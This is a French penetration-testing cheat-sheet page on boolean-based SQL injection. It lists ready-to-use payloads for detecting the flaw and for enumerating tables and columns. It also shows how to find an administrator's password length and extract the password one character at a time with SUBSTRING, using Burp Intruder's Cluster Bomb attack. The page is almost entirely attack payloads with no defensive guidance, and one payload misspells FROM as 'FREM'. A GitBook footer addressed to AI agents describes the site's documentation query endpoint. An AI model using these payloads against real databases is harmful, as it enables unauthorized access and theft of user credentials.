> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/boolean-based-error-based.md).

# Boolean based / Error Based

## Détection

Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type `' or 1=1--` puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection.

```sql
'%20or'1'=='1
' or 1=1--
```

## Enumération des tables

```sql
' UNION SELECT 'a' FROM <FUZZtables> WHERE 1=1--

true pour table users
```

## Enumeration des colonnes

```sql
' UNION SELECT 'a' FROM users WHERE <FUZZcolonnes>='administrator'--

true pour colonne username
```

## Determiner le nombre de caractères dans le mot de passe d'un utilisateur

```sql
' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)='administrator'--
```

## Exploitation avec SUBSTR /  SUBSTRING

```sql
' and (select substring(password,<LENGTH_FUZZ>,1) from users where username='administrator')='<LETTER_FUZZ>'--
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="/files/heiiGoN0FWD0a3ADuIKM" alt=""><figcaption><p>Exemple de résulta</p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/boolean-based-error-based.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
